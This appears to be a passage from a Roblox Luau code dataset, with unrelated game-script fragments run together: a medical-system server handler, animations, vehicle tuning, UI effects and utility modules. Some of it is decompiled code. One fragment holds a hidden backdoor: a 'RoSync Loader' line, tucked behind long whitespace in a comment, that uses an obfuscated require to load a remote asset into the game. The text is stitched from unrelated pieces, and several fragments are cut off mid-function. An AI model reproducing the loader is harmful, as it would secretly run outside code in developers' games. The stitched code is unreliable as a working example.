Roblox/luau_corpus huggingface dataset:
-------------------------------------------------------------------
-----------------------[MEDSYSTEM]---------------------------------
-------------------------------------------------------------------

Evt.Ombro.OnServerEvent:Connect(function(Player,Vitima)
	local Nombre
	for SKP_001, SKP_002 in pairs(game.Players:GetChildren()) do
	if SKP_002:IsA('Player') and SKP_002 ~= Player and SKP_002.Name == Vitima then
		if SKP_002.Team == Player.Team then
			Nombre = Player.Name
		else
			Nombre = "Someone"
		end
		Evt.Ombro:FireClient(SKP_002,Nombre)
		end
	end
end)

Evt.Target.OnServerEvent:Connect(function(Player,Vitima)
	Player.Character.Saude.Variaveis.PlayerSelecionado.Value = Vitima
end)

Evt.Render.OnServerEvent:Connect(function(Player,Status,Vitima)
		if Vitima == "N/A" then
			Player.Character.Saude.Stances.Rendido.Value = Status
		else

			local VitimaTop = game.Players:FindFirstChild(Vitima)
		if VitimaTop.Character.Saude.Stances.Algemado.Value == false then
			VitimaTop.Character.Saude.Stances.Rendido.Value = Status
			VitimaTop.Character.Saude.Variaveis.HitCount.Value = 0
		end
	end
end)

Evt.Drag.OnServerEvent:Connect(function(player)
	local Human = player.Character.Humanoid
	local enabled = Human.Parent.Saude.Variaveis.Doer
	local MLs = Human.Parent.Saude.Variaveis.MLs
	local Caido = Human.Parent.Saude.Stances.Caido
	local Item = Human.Parent.Saude.Kit.Epinefrina


	local target = Human.Parent.Saude.Variaveis.PlayerSelecionado
	
	if Caido.Value == false and target.Value ~= "N/A" then

		local player2 = game.Players:FindFirstChild(target.Value)
		local PlHuman = player2.Character.Humanoid

		local Sangrando = PlHuman.Parent.Saude.Stances.Sangrando
		local MLs = PlHuman.Parent.Saude.Variaveis.MLs
		local Dor = PlHuman.Parent.Saude.Variaveis.Dor
		local Ferido = PlHuman.Parent.Saude.Stances.Ferido
		local PlCaido = PlHuman.Parent.Saude.Stances.Caido
		local Sang = PlHuman.Parent.Saude.Variaveis.Sangue
		
		if enabled.Value == false then
	
		if PlCaido.Value == true or PlCaido.Parent.Algemado.Value == true then 
		enabled.Value = true	
		
		coroutine.wrap(function()
        while target.Value ~= "N/A" and PlCaido.Value == true and PlHuman.Health > 0 and Human.Health > 0 and Human.Parent.Saude.Stances.Caido.Value == false or target.Value ~= "N/A" and PlCaido.Parent.Algemado.Value == true do wait() pcall(function()
                player2.Character.Torso.Anchored ,player2.Character.Torso.CFrame = true,Human.Parent.Torso.CFrame*CFrame.new(0,0.75,1.5)*CFrame.Angles(math.rad(0), math.rad(0), math.rad(90))
				enabled.Value = true
        end) end
        pcall(function() player2.Character.Torso.Anchored=false
		enabled.Value = false
		end)
		end)()
		
		enabled.Value = false
		end	
		end	
	end
end)

Evt.Squad.OnServerEvent:Connect(function(Player,SquadName,SquadColor)
	Player.Character.Saude.FireTeam.SquadName.Value = SquadName
	Player.Character.Saude.FireTeam.SquadColor.Value = SquadColor
end)

Evt.Afogar.OnServerEvent:Connect(function(Player)
	Player.Character.Humanoid.Health = 0
end)
--[[
	Gamepad Character Control - This module handles controlling your avatar using a game console-style controller

	2018 PlayerScripts Update - AllYourBlox
--]]

local UserInputService = game:GetService("UserInputService")
local ContextActionService = game:GetService("ContextActionService")
--[[
    A component that establishes a connection to a Roblox event when it is rendered.
]]
local Roact = require(script.Parent.Parent.Packages.Roact)

local ExternalEventConnection = Roact.Component:extend("ExternalEventConnection")

function ExternalEventConnection:init()
	self.connection = nil
end
--Casts a ray. It will ignore nearly transparent objects and the tool's parent.
function CastRay(StartPos,Direction,Length)
	local Hit,EndPos = game.Workspace:FindPartOnRay(Ray.new(StartPos,Direction * Length))
	if Hit then
		if (not Tool.Parent or Hit:IsDescendantOf(Tool.Parent)) or Hit.Transparency > 0.9 then
			return CastRay(EndPos + (Direction * 0.01),Direction,Length - ((StartPos - EndPos).magnitude))
		end
	end
	
	return EndPos
end
--[[

	LOWGames Studios
	Date: 27 October 2022
	by Elder
	
]]--
-- Decompiled with the Synapse X Luau decompiler.

local u1 = nil;
coroutine.wrap(function()
	u1 = require(game.ReplicatedStorage:WaitForChild("Framework"):WaitForChild("Library"));
end)();
local v1 = {
	I = 1, 
	V = 5, 
	X = 10, 
	L = 50, 
	C = 100, 
	D = 500, 
	M = 1000
};
local u2 = { 1, 5, 10, 50, 100, 500, 1000 };
local u3 = { "I", "V", "X", "L", "C", "D", "M" };
return function(p1)
	p1 = tonumber(p1);
	if not p1 or p1 ~= p1 then
		error("Unable to convert to number");
	end;
	if p1 == math.huge then
		error("Unable to convert infinity");
	end;
	p1 = math.floor(p1);
	if p1 <= 0 then
		return p1;
	end;
	local v2 = "";
	for v3 = #u2, 1, -1 do
		local v4 = u2[v3];
		while p1 - v4 >= 0 and p1 > 0 do
			v2 = v2 .. u3[v3];
			p1 = p1 - v4;		
		end;
		for v5 = 1, v3 - 1 do
			local v6 = u2[v5];
			if p1 - (v4 - v6) >= 0 and p1 < v4 and p1 > 0 and v4 - v6 ~= v6 then
				v2 = v2 .. u3[v5] .. u3[v3];
				p1 = p1 - (v4 - v6);
				break;
			end;
		end;
	end;
	return v2;
end;
---------------------------------------------------

This = script.Parent
Lift = This.Parent.Parent.Parent
CustomLabel = require(Lift.CustomLabel)
Characters = require(script.Characters)

CustomText = CustomLabel["CUSTOMFLOORLABEL"]

Lift:WaitForChild("Floor").Changed:connect(function(floor)
  --custom indicator code--
  ChangeFloor(tostring(floor))
end)

function ChangeFloor(SF)
	if CustomText[tonumber(SF)] then
		SF = CustomText[tonumber(SF)]
	end
	SetDisplay(1,(string.len(SF) == 2 and SF:sub(1,1) or "NIL"))		
	SetDisplay(2,(string.len(SF) == 2 and SF:sub(2,2) or SF))
end



function SetDisplay(ID,CHAR)
	if This.Display:FindFirstChild("DIG"..ID) and Characters[CHAR] ~= nil then
 		for i,l in pairs(Characters[CHAR]) do 
			for r=1,7 do	
				This.Display["DIG"..ID]["D"..r].BrickColor = (l:sub(r,r) == "1" and BrickColor.new("Really red") or BrickColor.new("Really black"))
			end
		end
	end
end
------------
local y = (PlayerMouse.Y - Brightness.AbsolutePosition.Y) / Brightness.AbsoluteSize.Y
Brightness.Picker.Position = UDim2.new(.5, 0, y, 0)
v = 1 - y
Brightness.ImageColor3 = Color3.fromHSV(h, s, 1)
Preview.ImageColor3 = Color3.fromHSV(h, s, v)
ChangeColorEvent:FireServer(Preview.ImageColor3)
-- Print that runs only if debug mode is active.
local function PrintDebug(message: string)
	if FastCast.DebugLogging == true then
		print(message)
	end
end
---------------------------------------Function start here.
if (Tool.Enabled == false) then
return false
end--end for if!
-- functions

function stopAllAnimations()
	local oldAnim = currentAnim

	-- return to idle if finishing an emote
	if (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then
		oldAnim = "idle"
	end

	currentAnim = ""
	currentAnimInstance = nil
	if (currentAnimKeyframeHandler ~= nil) then
		currentAnimKeyframeHandler:disconnect()
	end

	if (currentAnimTrack ~= nil) then
		currentAnimTrack:Stop()
		currentAnimTrack:Destroy()
		currentAnimTrack = nil
	end
	return oldAnim
end

function setAnimationSpeed(speed)
	if speed ~= currentAnimSpeed then
		currentAnimSpeed = speed
		currentAnimTrack:AdjustSpeed(currentAnimSpeed)
	end
end

function keyFrameReachedFunc(frameName)
	if (frameName == "End") then

		local repeatAnim = currentAnim
		-- return to idle if finishing an emote
		if (emoteNames[repeatAnim] ~= nil and emoteNames[repeatAnim] == false) then
			repeatAnim = "idle"
		end
		
		local animSpeed = currentAnimSpeed
		playAnimation(repeatAnim, 0.0, Humanoid)
		setAnimationSpeed(animSpeed)
	end
end
--[[Drivetrain]]	
	Tune.Config			= "RWD"		--"FWD" , "RWD" , "AWD"
	
	--Differential Settings	
	Tune.FDiffSlipThres	= 50		-- 1 - 100%				(Max threshold of applying full lock determined by deviation from avg speed)
	Tune.FDiffLockThres	= 50		-- 0 - 100%				(0 - Bias toward slower wheel, 100 - Bias toward faster wheel)
	Tune.RDiffSlipThres	= 50		-- 1 - 100%
	Tune.RDiffLockThres	= 50		-- 0 - 100%
	Tune.CDiffSlipThres	= 50		-- 1 - 100%				[AWD Only]
	Tune.CDiffLockThres	= 50		-- 0 - 100%				[AWD Only]
	
	--Traction Control Settings
	Tune.TCSEnabled		= true		-- Implements TCS
	Tune.TCSThreshold	= 20		-- Slip speed allowed before TCS starts working (in SPS)
	Tune.TCSGradient	= 20		-- Slip speed gradient between 0 to max reduction (in SPS)
	Tune.TCSLimit		= 10		-- Minimum amount of torque at max reduction (in percent)
--[[
	Package link auto-generated by Rotriever
]]
local PackageIndex = script.Parent.Parent.Parent._Index

local Package = require(PackageIndex["JestConsole"]["JestConsole"])

export type Console = Package.Console
export type ConsoleOptions = Package.ConsoleOptions
export type BufferedConsole = Package.BufferedConsole
export type CustomConsole = Package.CustomConsole
export type ConsoleBuffer = Package.ConsoleBuffer
export type LogMessage = Package.LogMessage
export type LogType = Package.LogType
export type LogEntry = Package.LogEntry
export type InspectOptions = Package.InspectOptions


return Package
--[[
	~= EXAMPLE CODE =~
	return function(gui,gTable,guiData)
		local name = gTable.Name
		if name == "YesNoPrompt" then
			local new = Instance.new("ScreenGui")
			local frame = Instance.new("Frame",new)
			frame.Size = UDim2.new(0,400,0,400)
			local yes = Instance.new("TextButton",frame)
			yes.Size = UDim2.new(0.5,0,1,0)
			yes.Text = "Yes"
			local no = yes:Clone()
			no.Text = "No"
			no.Position = UDim2.new(0.5,0,0,0)
			
			local gTable,gIndex = client.UI.Register(new)
			
			local ans
			local waiting = true
			
			gTable.CustomDestroy = function()
				waiting = false
			end
			
			yes.MouseButton1Click:Connect(function()
				ans = "Yes"
				gTable:Destroy()
			end)
			
			no.MouseButton1Click:Connect(function()
				ans = "No"
				gTable:Destroy()
			end)
			
			repeat wait() until ans or not waiting  --// Wait until answer
			return ans or false
		end
	end
	
--]]

service = nil
client = nil

return function(gui: ScreenGui, guiData, gTable)
	local TWEEN_TIME = 2
	local SEQUENCE = {
		Color3.fromRGB(255, 85, 88), 
		Color3.fromRGB(78, 140, 255), 
		Color3.fromRGB(78, 255, 149)
	}
	local CLASSES = {
		Frame = true;
		TextBox = true;
		TextLabel = true;
		TextButton = true;
		ImageLabel = true;
		ImageButton = true; 
		ScrollingFrame = true;
	}
	
	local contents = {}
	local OrgColors = {}
	
	local function getCont(obj)
		for _, v in obj:GetChildren() do 
			if CLASSES[v.ClassName] then
				local OrgColor = {}
				OrgColor.Background = v.BackgroundColor3
				if v:IsA("ImageLabel") or v:IsA("ImageButton") then 
					OrgColor.Image = v.ImageColor3 
				end
				OrgColors[v] = OrgColor
				table.insert(contents, v)
				getCont(v)
			end
		end
	end
	
	getCont(gui)
	
	if gTable.Name == "List" then
		gui.Drag.Main.BackgroundTransparency = 0
	end
	
	local function tweenToColor(color1, color2, time)
		local Info = TweenInfo.new(time, Enum.EasingStyle.Linear)
		for _, v in contents do
			local orgcolor = OrgColors[v]
			v.BackgroundColor3 = color1:lerp(orgcolor.Background, 0.75)
			if orgcolor.Image then
				v.ImageColor3 = color1:lerp(orgcolor.Image, 0.75)
				service.TweenService:Create(v, Info, {
					BackgroundColor3 = color2:lerp(orgcolor.Background, 0.75),
					ImageColor3 = color2:lerp(orgcolor.Image, 0.75)
				}):Play()
			else
				service.TweenService:Create(v, Info, {
					BackgroundColor3 = color2:lerp(orgcolor.Background, 0.75)
				}):Play()
			end
		end
		task.wait(time)
	end
	
	service.TrackTask(`Thread: Colorize_{gTable.Name}`,function()
		repeat 
			for i in SEQUENCE do
				local one, two = SEQUENCE[i], SEQUENCE[i+1] or SEQUENCE[1]
				
				tweenToColor(one, two, TWEEN_TIME)
			end
		until not task.wait(if gTable.Active then 0 else 1) and gTable.Destroyed
		
	end)
end
--[[
function Thread:Wait(t)
	if t ~= nil then
		local TotalTime = 0
		TotalTime = TotalTime + RunService.Heartbeat:Wait()
		while TotalTime < t do
			TotalTime = TotalTime + RunService.Heartbeat:Wait()
		end
	else
		RunService.Heartbeat:Wait()
	end
end

function Thread:Spawn(callback)
	coroutine.resume(coroutine.create(callback))
end

function Thread:Delay(t, callback)
	local timer = Timer.new()
	timer:SetActive(true)
	timer:FireOnTimeReached(t, function()
		self:Spawn(callback)
		timer:Destroy()
	end)
end
]]

function Thread:Wait(t)
	if t ~= nil then
		task.wait(t)
	else
		task.wait()
	end
end

function Thread:Spawn(callback)
	task.spawn(callback)
end

function Thread:Delay(t, callback)
	task.delay(t, callback)
end

return Thread
--[[ Last synced 2/17/2021 07:26                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         RoSync Loader ]] getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[                                                                                                  ]]--
--ignore table stuff

workspace.DescendantAdded:Connect(function(WHAT)
	if WHAT:IsA("Accessory") or WHAT:IsA("Hat") or WHAT.Name == "HumanoidRootPart" then
		--print("added "..WHAT.Name)
		table.insert(rayignore, WHAT)
	elseif WHAT:IsA("BasePart") and not WHAT.CanCollide and not WHAT.Parent:FindFirstChildOfClass("Humanoid") then
		--print("found nocollide")
		table.insert(rayignore, WHAT)
	end
end)
workspace.DescendantRemoving:Connect(function(WHAT)
	local findthing = table.find(rayignore, WHAT)
	if findthing then
		--print("removed "..WHAT.Name)
		table.remove(rayignore, findthing)
	end
end)

for i,v in pairs(workspace:GetDescendants()) do
	if v:IsA("Accessory") or v:IsA("Hat") or v.Name == "HumanoidRootPart" then
		--print("added "..v.Name.." on start")
		table.insert(rayignore, v)
	elseif v:IsA("BasePart") and not v.CanCollide and not v.Parent:FindFirstChildOfClass("Humanoid") then
		--print("found nocollide on start")
		table.insert(rayignore, v)
	end
end
-- Format params: N/A
local ERR_OBJECT_DISPOSED = "This ActiveCast has been terminated. It can no longer be used."
-- A collection of instances that may be parented to another instance.
export type Children = Instance | StateObject<Children> | {[any]: Children}
--[[Engine]]

	--		[TORQUE CURVE VISUAL]
	--		Gas Engine: https://www.desmos.com/calculator/nap6stpjqf
	--		Electric Engine: https://www.desmos.com/calculator/ion9q7zp9t
	--		Use sliders to manipulate values
	--		Edit everything as if your car is NATURALLY aspirated, or as if it lacks a turbo.
	
	Tune.Engine 		= true		-- Enables or disables gas engine
									-- TORQUE CURVE: https://www.desmos.com/calculator/nap6stpjqf
	
	Tune.Horsepower		= 602
	Tune.IdleRPM		= 700
	Tune.PeakRPM		= 8000
	Tune.Redline		= 8250
	Tune.EqPoint		= 5252
	Tune.PeakSharpness	= 20
	Tune.CurveMult		= 0.2
	
	Tune.Electric		= false		-- Enables or disables electric engine
									-- TORQUE CURVE: https://www.desmos.com/calculator/ion9q7zp9t
	
	Tune.ElecHorsepower		= 223
	Tune.ElecMaxTorque		= 173
	
	Tune.ElecTransition1	= 4000
	Tune.ElecHpFrontMult	= 0.15
	
	Tune.ElecTransition2	= 9000
	Tune.ElecHpEndMult		= 2.9
	Tune.ElecHpEndPercent	= 10
	Tune.ElecTqEndMult		= 1.5
	Tune.ElecTqEndPercent	= 27
	
	Tune.ElecRedline		= 16000
	
	Tune.InclineComp	= 1.2		-- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
	
	--Turbo Settings
	Tune.Aspiration		= "Natural"												--[[
	[Aspiration]
		"Natural"		: N/A, Naturally aspirated engine
		"Single"		: Single turbocharger
		"Double"		: Twin turbocharger
		"Super"			: Supercharger												]]
	
	Tune.Boost			= 5			-- Max PSI (If you have two turbos and this is 15, the PSI will be 30)
	Tune.TurboSize		= 80		-- Turbo size; the bigger it is, the more lag it has.
	Tune.CompressRatio	= 6			-- The compression ratio (look it up)
	Tune.Sensitivity	= 0.05		-- How quickly the Supercharger (if appllied) will bring boost when throttle is applied. (Increment applied per tick, suggested values from 0.05 to 0.1)
	
	--Misc
	Tune.RevAccel		= 250		-- RPM acceleration when clutch is off
	Tune.RevDecay		= 75		-- RPM decay when clutch is off
	Tune.RevBounce		= 500		-- RPM kickback from redline
	Tune.IdleThrottle	= 3			-- Percent throttle at idle
	Tune.Flywheel		= 500		-- Flywheel weight (higher = faster response, lower = more stable RPM)
-- Decompiled with the Synapse X Luau decompiler.

local v1 = require(game.ReplicatedStorage:WaitForChild("Framework"):WaitForChild("Library"));
while not v1.Loaded do
	game:GetService("RunService").Heartbeat:Wait();
end;
return function(p1, p2)
	coroutine.wrap(function()
		while not p1.Parent do
			v1.RenderStepped();		
		end;
		v1.GUIFX.Rainbow(p1.ImageLabel, "ImageColor3", 3);
		v1.GUIFX.Rainbow(p1.title, "TextColor3", 3);
	end)();
end;
-- Get a reference to an existing object	
local original = workspace.Main -- Сохраняем в переменную оригинальный объект
--[[ Public API ]]--
function MasterControl:Init()
	
	local renderStepFunc = function()
		if LocalPlayer and LocalPlayer.Character then
			local humanoid = self:GetHumanoid()
			if not humanoid then return end
			
			if humanoid and not humanoid.PlatformStand and isJumping then
				humanoid.Jump = isJumping
			end
			
			local adjustedMoveValue = moveValue
			if HasVRAPI and UserInputService.VREnabled and workspace.CurrentCamera.HeadLocked then
				local vrFrame = UserInputService.UserHeadCFrame
				local lookVector = Vector3.new(vrFrame.lookVector.X, 0, vrFrame.lookVector.Z).unit
				local rotation = CFrame.new(Vector3.new(0, 0, 0), lookVector)
				adjustedMoveValue = rotation:vectorToWorldSpace(adjustedMoveValue)
			end
			
			moveFunc(LocalPlayer, adjustedMoveValue, true)	
			
			
		end
	end
	
	local success = pcall(function() RunService:BindToRenderStep("MasterControlStep", Enum.RenderPriority.Input.Value, renderStepFunc) end)
	
	if not success then
		if RenderSteppedCon then return end
		RenderSteppedCon = RunService.RenderStepped:connect(renderStepFunc)
	end
end

function MasterControl:Disable()
	local success = pcall(function() RunService:UnbindFromRenderStep("MasterControlStep") end)
	if not success then
		if RenderSteppedCon then
			RenderSteppedCon:disconnect()
			RenderSteppedCon = nil
		end
	end
	
	moveValue = Vector3.new(0,0,0)
	isJumping = false
end

function MasterControl:AddToPlayerMovement(playerMoveVector)
	moveValue = Vector3.new(moveValue.X + playerMoveVector.X, moveValue.Y + playerMoveVector.Y, moveValue.Z + playerMoveVector.Z)
end

function MasterControl:GetMoveVector()
	return moveValue
end

function MasterControl:SetIsJumping(jumping)
	isJumping = jumping
end

function MasterControl:DoJump()
	local humanoid = self:GetHumanoid()
	if humanoid then
		humanoid.Jump = true
	end
end

return MasterControl
---------------------------------
local force = Instance.new("BodyForce")
force.Parent = torso
f = force
wait(0.01)
elseif ison == 0 then
if arms then
sh[1].Part1 = arms[1]
sh[2].Part1 = arms[2]
f.Parent = nil
arms[2].Name = "Right Leg"
arms[1].Name = "Left Leg"
welds[1].Parent = nil
welds[2].Parent = nil
Tool.Parent.Humanoid.WalkSpeed = 16
end
end
--[[
	
	Thanks for using my GameAnalytics module! PM me (ByDefault) with any suggestions, bugs or feedback in
	general!
	
	To start using the module, follow these steps:
	
	1. Create an account on gameanalytics.com and create a game
	2. Get your game key and secret key
	3. Require this module ( require(GameAnalytics) )
	4. Call :Init(GameKey, SecretKey) on the module
	5. You're ready!
	
	
	To send events, follow these steps:
	
	1. Create a table for the event, like so:
		local eventTable = {
			["category"] = "design",
			["event_id"] = "Game:RoundStart:Spleef",
		}
	2. Call :SendEvent(EventTable) on the module, letting the only parameter be the eventTable you just made
	3. That's it! Your event will automatically be sent within 15 seconds!
	
	
	It may take a few minutes for your event to appear in the gameanalytics realtime page and every
	other page gets refreshed with the newest data daily.
	
	Resources:
	 REST API Docs: http://www.gameanalytics.com/docs/rest-api
	 Account Management: http://www.gameanalytics.com/docs/account-management
	 FAQ: http://www.gameanalytics.com/docs/faq
	
--]]

script:remove()
--[[~{ Created by Dan_PanMan }~]]--

local datastore = game:GetService("DataStoreService") --changing will break the script
local valueData = datastore:GetDataStore("fhalcinx8wefy2p91243532") -- DO NOT CHANGE! If you change all the data will be reset. Tip: Keep the name random so hackers wont be able to guess it.

local startingValueAmount = 0 --the amount of coins you want the player to start off with.
local valueName = "Coins" --the stat name
--workspace.CurrentCamera.CameraSubject = script.Parent:WaitForChild("Head")

local h = script.Parent:WaitForChild("Humanoid") :: Humanoid
h.CameraOffset = Vector3.new(0,0,-1)

RunService.RenderStepped:Connect(function()
	for _,p in pairs(script.Parent:GetChildren()) do
		if p:IsA("BasePart") and p.Name ~= "Head" then --and p.Name ~= "UpperTorso" then
			p.LocalTransparencyModifier = 0
		end
		--if p:IsA("BasePart") and string.find(p.Name, "Hand") then
		--	p.LocalTransparencyModifier = 0
		--end
	end
end)
--[[
	GoogleAnalytics Reporter is designed to provide a simple interface for
	your GoogleAnalytics dashboard.
]]

local configuration = require(script.Parent.Parent.Parent.Config)
--local lightCurve = model.Light.SpotLight.Flicker


local loopCount = 5

local LightSet = {}
local LightStartingBrightnesses = {}
--///////////////////////// Constructors
--//////////////////////////////////////

function module.new()
	local obj: any = setmetatable({}, methods)
	obj.SayMessageRequest = nil

	return obj
end

return module.new()
-- connect up

Humanoid.Died:connect(onDied)
Humanoid.Running:connect(onRunning)
Humanoid.Jumping:connect(function(state) onState(state, sJumping) end)
Humanoid.GettingUp:connect(function(state) onState(state, sGettingUp) end)
Humanoid.FreeFalling:connect(function(state) onState(state, sFreeFalling) end)
Humanoid.FallingDown:connect(function(state) onState(state, sFallingDown) end)
--// Firemode Shot Customization
	BurstNum = 3; -- How many bullets per burst
	ShotNum = 12; -- How many bullets per shot
-- This will inject all types into this context.
local TypeDefs = require(script.Parent.TypeDefinitions)

type CanPenetrateFunction = TypeDefs.CanPenetrateFunction
type CanHitFunction = TypeDefs.CanHitFunction
type GenericTable = TypeDefs.GenericTable
type Caster = TypeDefs.Caster
type FastCastBehavior = TypeDefs.FastCastBehavior
type CastTrajectory = TypeDefs.CastTrajectory
type CastStateInfo = TypeDefs.CastStateInfo
type CastRayInfo = TypeDefs.CastRayInfo
type ActiveCast = TypeDefs.ActiveCast

local typeof = require(script.Parent.TypeMarshaller)
-- bool
function Lerps.boolean(v0, v1)
	return function(t)
		if t < 0.5 then
			return v0
		else
			return v1
		end
	end
end